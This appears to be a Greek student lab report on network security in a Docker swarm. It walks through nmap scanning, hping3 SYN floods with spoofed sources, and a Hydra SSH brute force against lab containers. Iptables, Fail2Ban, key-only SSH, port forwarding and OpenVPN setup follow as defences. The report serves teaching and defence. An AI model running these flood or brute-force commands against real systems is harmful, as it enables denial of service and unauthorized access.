= Εργασία Εξαμήνου Ασφάλεια Δικτύων και Επικοινωνιών Βαλαγκούτη Ηρώ - Αθηνά :toc: right :toc-title: Πίνακας περιεχομένων :toclevels: 4 :sectnums: :icons: font :tabs: toc::[] == Docker === Λίγα λόγια για το Docker Το Docker είναι μία πλατφόρμα λογισμικού ανοιχτού κώδικα με την οποία μπορούμε να κάνουμε virtualization σε επίπεδο λειτουργικού συστήματος. Δίνεται δηλαδή η δυνατότητα να εγκατασταθεί μόνο η εφαρμογή/υπηρεσία που θέλουμε, σε ένα απομονωμένο περιβάλλον από κανονικό σύστημα. Αυτό έχει ως συνέπεια την εξοικονόμηση CPU, GPU και RAM του υπολογιστή. Ακόμη, μπορεί να χρησιμοποιηθεί για να δοκιμαστούν άγνωστες εφαρμογές, χωρίς να κινδυνέψει το υπόλοιπο σύστημα. === Οδηγός εγκατάστασης (Ubuntu) ``` curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt update sudo apt install -y docker-ce echo "or" sudo apt install docker* sudo systemctl status docker sudo usermod -aG docker username #οπου username το όνομα του χρήστη που θα δουλεύει με docker ``` ==== docker-compose ``` sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose ``` ==== error ``` Get https ://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate Pulling ... ERROR: Get https://registry.vlabs.uniwa.gr:5080/v2/: x509: certificate signed by unknown authority ``` * run ``` $ sudo su # touch set-ca.sh ``` * copy-paste into file ``` registry_address=registry.vlabs.uniwa.gr registry_port=5043 mkdir -p /etc/docker/certs.d/$registry_address:$registry_port openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt registry_port=5080 mkdir -p /etc/docker/certs.d/$registry_address:$registry_port openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt registry_address=hub.swarmlab.io registry_port=5443 mkdir -p /etc/docker/certs.d/$registry_address:$registry_port openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt registry_port=5480 mkdir -p /etc/docker/certs.d/$registry_address:$registry_port openssl s_client -showcerts -connect $registry_address:$registry_port < /dev/null | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > /etc/docker/certs.d/$registry_address:$registry_port/ca.crt ``` * exec file ``` sudo bash ./set-ca.sh ``` === Δημιουργία σμήνους (swarm) από Docker ==== Δημιουργία cluster * Make a new directory to store the project + ``` mkdir myproject cd myproject ../install/usr/share/swarmlab.io/sec/swarmlab-sec create ``` * Spin up the cluster (5 clusters shown here) + ``` cd myproject #if not already on the directory ../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5 ``` * Login to the cluster + ==== ``` cd myproject #if not already on the directory ../install/usr/share/swarmlab.io/sec/swarmlab-sec login ``` NOTE: When you are inside a container: + `ssh docker@` + User password: docker + sudo password: docker + ==== == Υλοποίηση συστήματος για την προσομοίωση Dos/DDos Attack Για να επιτευχθεί ένα D(d)os Attack, χρειάζεται να γνωρίζουμε την IP και την port του μηχανήματος που θέλουμε να χτυπήσουμε. === Βρίσκοντας την IP ==== ``` ifconfig ``` image:images/if_config.png[] TIP: IP: 172.19.0.2 ==== === Βρίσκοντας τους ενεργούς hosts ==== ``` nmap -sP ``` image:images/nmap_p.png[] TIP: Αν η IP είναι π.χ. 172.19.0.2, αντί για το τελευταίο νούμερο βάζουμε *. ==== === Ενεργές πόρτες ==== ``` nmap –p– ``` image:images/nmap_for_ports.png[] TIP: Εδώ φαίνεται ανοιχτή η πόρτα 22 ==== === Εγκατάσταση hping3 ``` sudo apt update sudo apt install hping3 ``` === Εκτέλεση ==== ``` sudo hping3 -S -a -p --flood ``` image:images/1st_hping3.png[] + ή + ``` sudo hping3 -S --flood -V -p ``` image:images/2nd_hping3.png[] Όπου: + -a: spoof source address + -S: specifies SYN packets + --flood: shoot at discretion, replies will be ignored and packets will be sent fast as possible. + -V: Verbosity. + -p: port number + SYN packets flood: + ``` sudo hping3 -q -n -d 120 -S -p --flood --rand-source ``` image:images/3rd_hping3.png[] Όπου: + -q: brief output + -n: show target ip instead of host + -d 120: packet size + --rand-source: hide IP address ==== === Βλέποντας το flood ==== ``` sudo tcpdump -ni ``` ή + ``` sudo tcpdump src ``` Πρώτο attack: + image:images/1st_flood.png[] + Δεύτερο attack: + image:images/2nd_flood.png[] + Τρίτο attack: + image:images/3rd_flood.png[] + Στα παραπάνω screenshots φαίνεται ο διαφορετικός τύπος μηνυμάτων. ==== === IP tables Ένας τρόπος για να αποφευχθούν τα attacks είναι με χρήση των iptables. Είναι κάποιοι κανόνες που μπορούμε να δηλώσουμε ώστε να απαγορεύσουμε/επιτρέψουμε την διέλευση πακέτων. Παρακάτω χρησιμοποιήθηκε κανόνας που κόβει την κίνηση από μία συγκεκριμένη IP. ==== Τα παρακάτω χρειάζονται sudo: + ``` iptables -I INPUT -s -j DROP ``` Για να δούμε τους κανόνες: + ``` iptables -L ``` image:images/ip_tables.png[] + Με την iptables -nvL μπορούμε να δούμε και στατιστικά, όπως πόσα πακέτα έχουν απορριφθεί από τον κάθε κανόνα. ==== == SSH Brute Force Attacks === SSH Attack with Hydra * Εγκατάσταση hydra + ``` apt-get install hydra ``` * Password list + ==== ``` wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2 bzip2 -d 500-worst-passwords.txt.bz2 ``` TIP: Μπορούμε να επεξεργαστούμε το αρχείο και να προσθέσουμε και δικά μας passwords ==== * Find IP address of docker: + ==== ``` ifconfig ``` image:images/ssh_find_ip.png[] + TIP: Είναι 172.19.0.1 + ==== * Network range: + ==== ``` ipcalc ``` image:images/ssh_ipcalc.png[] + ==== * Scan for open ssh ports: + ==== ``` nmap -p 22 --open ``` image:images/ssh_open_ports.png[] + ==== * Execute SSH brute force attack: + ==== Η γενική σύνταξη της εντολής είναι (επειδή γνωρίζουμε το username): + ``` hydra -l username -P passwords_file.txt ssh://IP -t no_of_tasks ``` Άρα γίνεται: + ``` hydra -l docker -P '/home/iro/Desktop/500-worst-passwords.txt' ssh://172.19.0.3 -t 8 ``` image:images/ssh_success.png[] + TIP: Password: docker + Αν δεν γνωρίζουμε ούτε το username, μπορούμε να ψάξουμε με βάση κάποιο αρχείο που περιέχει πιθανά ονόματα ως εξής: hydra -L usernames.txt -P passwords.txt ssh://172.19.0.3 -t 8 ==== === Fail2Ban Το Fail2Ban είναι ένα open-source εργαλείο που αποσκοπεί στο να προστατεύει τα συστήματα από ssh brute force attacks. + * Εγκατάσταση: ``` sudo apt-get install fail2ban sudo apt-get -y install rsyslog sudo rsyslogd ``` * Backup Fail2Ban main configuration file (just in case) ``` cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local ``` * Configure Fail2Ban ``` nano /etc/fail2ban/jail.local ``` * Φτιάχνουμε ένα ssh section και αλλάζουμε τις τιμές ανάλογα με τις προτιμίσεις μας. Δεν ξεχνάμε να κάνουμε restart την υπηρεσία στο τέλος. ==== image:images/ssh_jail.png[] + ``` service fail2ban restart ``` image:images/fail2ban_running.png[] + ==== * Κάνουμε ξανά επίθεση ==== Η καινούρια επίθεση αποτυγχάνει + image:images/ssh_attack_fail.png[] + Ο επιτιθέμενος έχει μπλοκαριστεί + image:images/docker_iptables_with_fail2ban.png[] + ==== === Συνδέσεις μέσω Key * Aν έχουμε κάνει τα προηγούμενα: + ==== Κάνουμε unban + ``` sudo fail2ban-client unban --all ``` Σταματάμε το fail2ban + ``` sudo service fail2ban stop ``` ==== * Βρίσκουμε το αρχείο sshd_config και το ανοίγουμε + ==== ``` sudo nano /etc/ssh/sshd_config ``` Βγάζουμε από σχόλια και αλλάζουμε τις τιμές στα: + LogLevel VERBOSE + PermitRootLogin prohibit-password + PasswordAuthentication no + Restart the ssh service + ``` sudo service ssh restart ``` Παρατηρούμε ότι πλέον δεν μπορούμε να μπούμε με κωδικό + image:images/ssh_denied_password.png[] + ==== === Για το κλειδί * Αν έχουμε κάνει τα παραπάνω: + ==== Αλλάζουμε σε σχόλιο το PasswordAuthentication στο αρχείο sshd_config + ``` sudo nano /etc/ssh/sshd_config ``` Σε νέο terminal στον υπολογιστή μας γράφουμε: + ``` ssh-keygen ``` Δίνουμε όνομα αρχείου/κωδικό (αν θέλουμε) + image:images/ssh_keygen.png[] + Δίνουμε την εντολή + ``` ssh-copy-id -i ~/.ssh/id_rsa.pub UserName@RemoteServer ssh-copy-id -i ~/.ssh/id_rsa.pub docker@172.19.0.3 ``` Βγάζουμε από comment το PasswordAuthentication και κάνουμε restart το ssh + ``` sudo service ssh restart ``` Αν πάμε να συνδεθούμε, πλέον θα χρειάζεται το κλειδί που δώσαμε στο ssh-keygen + ==== == SSH Forwarding === Εγκατάσταση υπηρεσίας (apache) ==== ``` sudo apt-get update sudo apt install apache2 ``` TIP: Αν έχουμε ήδη κάποια άλλη υπηρεσία, μπορούμε να χρησιμοποιήσουμε αυτή. ==== Για να τρέξουμε την υπηρεσία: ==== ``` sudo apachectl start sudo netstat -antlupe ``` image:images/apache_is_running.png[] + Η υπηρεσία μας τρέχει! + ==== === Local port forwarding Η πρώτη συράγγωση είναι μεταξύ ενός container στον υπολογιστή μας. Για να επιτευχθεί αυτό χρειάζεται ο υπολογιστής μας να έχει και την server side υπηρεσία του ssh. Η port μετά το localhost θα πρέπει να είναι εκείνη που έχει την υπηρεσία που θέλουμε. Αλλάζουμε username και IP ανάλογα. + ==== Σε ένα οποιοδήποτε container γράφουμε: + ``` ssh -nNT -L 8081:localhost:80 iro@192.168.64.128 ``` image:images/local_port_forwarding.png[] + image:images/apache_page.png[] + Εάν κάνουμε curl localhost:8081 βλέπουμε την σελίδα του apache + ==== === Remote port forwarding ==== Στον υπολογιστή μας γράφουμε: + ``` ssh -nNT -R 8082:localhost:80 docker@172.21.0.6 ``` image:images/remote_ssh.png[] + image:images/remote_ssh_apache.png[] + Εάν κάνουμε curl localhost:8082 βλέπουμε την σελίδα του apache + ==== == VPN Δημιουργούμε ένα νέο κατάλογο μέσα στο swarmlab-sec με όνομα π.χ. vpn + === Δημιουργία αρχείου (create-vpn.sh) * copy-paste ==== [source,bash] ``` #!/bin/bash IP=127.0.0.1 # Server IP # <1> P=1194 # Server Port # <2> OVPN_SERVER='10.80.0.0/16' # VPN Network # <3> #vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/ # Dir to save data ** this must exist ** vpn_data=$PWD/openvpn-services/ # <4> if [ ! -d $vpn_data ]; then mkdir -p $vpn_data fi NAME=swarmlab-vpn-services # name of docker service # <5> DOCKERnetwork=swarmlab-vpn-services-network # docker network docker=registry.vlabs.uniwa.gr:5080/myownvpn # docker image docker stop $NAME #stop container sleep 1 docker container rm $NAME #rm container # rm config files rm -f $vpn_data/openvpn.conf.*.bak rm -f $vpn_data/openvpn.conf rm -f $vpn_data/ovpn_env.sh.*.bak rm -f $vpn_data/ovpn_env.sh # create network sleep 1 docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork #run container see ovpn_genconfig docker run --net=none -it -v $vpn_data:/etc/openvpn -p 1194:1194 --rm $docker ovpn_genconfig -u udp://$IP:1194 \ -N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER # <6> # create pki see ovpn_initpki docker run --net=none -v $vpn_data:/etc/openvpn --rm -it $docker ovpn_initpki # <7> # see ovpn_copy_server_files #docker run --net=none -v $vpn_data:/etc/openvpn --rm $docker ovpn_copy_server_files #create vpn see --cap-add=NET_ADMIN sleep 1 docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker # <8> sudo sysctl -w net.ipv4.ip_forward=1 #show created docker ps ``` <1> localhost inside of a container will resolve to the network stack of this container <2> Port <3> Specify Addresses and Netmasks for VPN Clients <4> Directory to mount data <5> Name of docker services <6> Create config <7> keys <8> Run docker vpn service ==== Τρέχουμε το αρχείο. (προσοχή στα δικαιώματα). Θα ζητηθεί ένα passphrase, μπορούμε να εισάγουμε ότι θέλουμε. Όταν η διαδικασία ολοκληρωθεί, θα πρέπει στα NAMES να δούμε το όνομα swarmlab-vpn-services (ή το αντίστοιχο που έχουμε επιλέξει εμείς). + image:images/vpn_success.png[] + Μπορούμε να το επιβεβαιώσουμε και με netstat + image:images/vpn_success_2.png[] + === Δημιουργία χρήστη Για να μπορέσει να συνδεθεί ένας χρήστης, χρειάζεται ένα config αρχείο. ==== ``` Η δομή της εντολής είναι: docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME > $USERNAME.ovpn όπου: USERNAME=sec1 vpn_data=$PWD/openvpn-services/ docker=registry.vlabs.uniwa.gr:5080/myownvpn όπως δόθηκαν στο αρχείο για το vpn Άρα docker run -v $PWD/openvpn-services:/etc/openvpn --rm -it registry.vlabs.uniwa.gr:5080/myownvpn easyrsa build-client-full sec1 nopass docker run -v $PWD/openvpn-services:/etc/openvpn --rm --log-driver=none -it registry.vlabs.uniwa.gr:5080/myownvpn ovpn_getclient sec1 > sec1.ovpn ``` Θα πρέπει να επιστρέψει την παρακάτω οθόνη (αφού εισάγουμε τον κωδικό) + image:images/user_config_create_1.png[] + ==== Ανοίγουμε το αρχείο του χρήστη και κάνουμε copy-paste αντικαθιστώντας την host machine IP με την δική μας, δηλαδή το μηχανάκι που τρέχει το docker. Το 1194 είναι η πόρτα που έχουμε δώσει στο create-vpn.sh ==== ``` client nobind dev tun comp-lzo resolv-retry infinite keepalive 15 60 remote-cert-tls server remote 1194 udp float ``` Αντιγράφουμε το αρχείο στον φάκελο που έχουμε το project ``` cp sec* ../test/project/ ``` image:images/sec_on_project_folder.png[] + ==== === Εγκατάσταση openvpn Για να μπορέσουμε να συνδεθούμε στο vpn, χρειαζόμαστε το openvpn. Το εγκαθιστούμε τόσο στα containers όσο και στο docker (τον master) ``` apt update apt install openvpn ``` === Λειτουργία Εκτελούμε την παρακάτω εντολή σε κάποιο container: ==== ``` openvpn --config ./sec1.ovpn ``` image:images/init_sequence_complete.png[] + Εδώ βλέπουμε ότι το container πήρε την IP 10.80.0.2, η οποία είναι εντός του VPN nertwork που ορίστηκε στο create-vpn.sh αρχείο (10.80.0.0/16). + image:images/worker_ip_after_vpn.png[] + Το interface tun0 με τη IP του VPN. + ====